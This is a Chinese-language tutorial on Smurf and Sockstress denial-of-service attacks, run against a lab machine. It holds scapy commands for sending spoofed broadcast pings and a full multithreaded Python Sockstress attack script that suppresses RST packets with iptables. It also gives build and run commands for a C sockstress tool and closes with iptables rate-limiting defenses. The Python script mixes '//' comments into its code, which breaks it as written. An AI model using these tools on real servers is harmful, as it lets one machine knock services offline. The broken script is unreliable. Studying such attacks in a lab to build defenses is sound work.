二十八、拒绝服务--(3)Smurf攻击、Sockstress

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Smurf介绍

Smurf测试

Sockstress
3.1 Sockstress 原理介绍
3.2 Sockstress攻击脚本
3.3 Sockstress测试DoS攻击
3.4 github上专用sockstress测试

防御措施

1、Smurf介绍

世界上最古老的DDoS攻击技术
- 向广播地址发送伪造源地址的ICMP echo Request（ping）
- LAN所有计算机向伪造源地址返回响应包（只能发生在局域网范围内）
- 对现代操作系统几乎无效（不响应目标为广播的ping），对广播的ping包不做回应

2、Smurf测试

>>> i=IP()
>>> i.src="192.168.50.183"
>>> i.dst="192.168.50.255"
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 192.168.50.183
  dst= 192.168.50.255
  \options\

>>> p=ICMP()
>>> p.display()
###[ ICMP ]### 
  type= echo-request
  code= 0
  chksum= None
  id= 0x0
  seq= 0x0

然后在192.168.50.183这台靶机上，开启抓包tcpdump -i eth0，观察当发送数据包时，靶机上是否可以伪造靶机的源地址后，局域网内的主机能否回应给靶机：

>>> send(i/p)

通过观测，还没有发现有reply的响应包。

3、Sockstress

3.1 Sockstress 原理介绍

2008年由Jack C.Louis发现
针对TCP服务的拒绝服务攻击
- 消耗被攻击目标系统资源，但不会产生大量的流量带宽资源
- 与攻击目标建立大量socket连接
- 完成三次握手，最后的ACK包window(窗口)大小为0（客户端不接收数据）
- 攻击者资源消耗小（CPU、内存、带宽）
- 一步攻击，单机可拒绝服务高配资源服务器
- Windows窗口实现的TCP流控
- 一种不对称的资源消耗

此攻击方式为在已经建立tcp连接的情况下，即在syn、syn+ack、ack（在此阶段发送中携带窗口为0）建立完成后，服务器会一直等待客户端的发送，因为客户端会一直与服务器保持连接，但不发送数据而且不用维持此连接，服务器一直等待而不断开，消耗内存和cpu资源。与syn flood的半连接不同。

3.2 Sockstress攻击脚本

#!/usr/bin/python
# -*- coding: utf-8 -*- 

from scapy.all import * 
from time import sleep 
import thread 
import logging 
import os 
import signal 
import sys 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:   
    print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"   
    print "举例: ./sock_stress.py 10.0.0.5 21 20    ## 请确定被攻击端口处于开放状态"     
    sys.exit()
    
target = str(sys.argv[1]) 
dstport = int(sys.argv[2]) 
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport):   
    while 0 == 0:      
        try:         
            x = random.randint(0,65535)         //生成随机源端口
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)        //发包，发送带有syn                
            send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)      //接收到syn+ack后，发送ack包，此window为0
        except:         
            pass
            
## 停止攻击函数 
def shutdown(signal, frame):     
    print '正在恢复 iptables 规则'   
    os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')   
    sys.exit()
    
## 添加iptables规则 
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP') 
signal.signal(signal.SIGINT, shutdown)    //发出终止指令时，将iptables规则撤销

## 多线程攻击 
print "\n攻击正在进行...按 Ctrl+C 停止攻击" 
for x in range(0,threads):   
    thread.start_new_thread(sockstress, (target,dstport))
    
## 永远执行 
while 0 == 0:   
    sleep(1)

3.3 Sockstress测试DoS攻击

前提条件：kali和靶机由于在同一网段内，可能会带来影响，因此将kali的虚拟机网卡设置为NAT模式，这样相当于从不同网段经过路由发送流量

配置网卡为dhcp

设置dhcp
设置虚拟机为NAT模式

设置NAT
攻击效果查看
在还没有发起攻击时，通过top查看靶机192.168.50.183上的内存及cpu等使用率如下：

攻击前top查看

此时开始发起攻击：

攻击效果1

发现靶机上cpu和内存直线下降，并且系统开始kill进程

攻击效果2

使用netstat -an | grep ESTABLISHED | wc -l查看，发现有大量的连接

netstat查看ESTABLISHED已建立的连接

统计连接

使用free -m查看

free查看

3.4、github上专用sockstress测试

在github上，使用c语言编写的sockstress，可以完成上述同样的效果，但是在执行前，需要添加iptables策略，过滤rst包

https://github.com/defuse/sockstress下载sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.50.183:80 eth0 -p payloads/http
./sockstress 192.168.50.183:21 eth0

攻击开始

攻击效果

此种方法在攻击终止后，靶机的恢复速度非常慢，不像上节中终止后，靶机即刻就恢复。

4、防御措施

直到今天sockstress攻击仍然是一种很有效的DoS攻击方式
由于建立完整的TCP三次握手，因此使用syn cookie防御无效
根本的防御方法是采用白名单（不实际）
折中对策：限制单位时间内每IP建的TCP连接数（仅限于单个IP情况下，但对于大量IP依旧无效）
- 封杀每30秒与80端口建立连接超过10个的IP地址
- iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
- iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -seconds 30 --hitcount 10 -j DROP
- 以上规则对DDoS攻击无效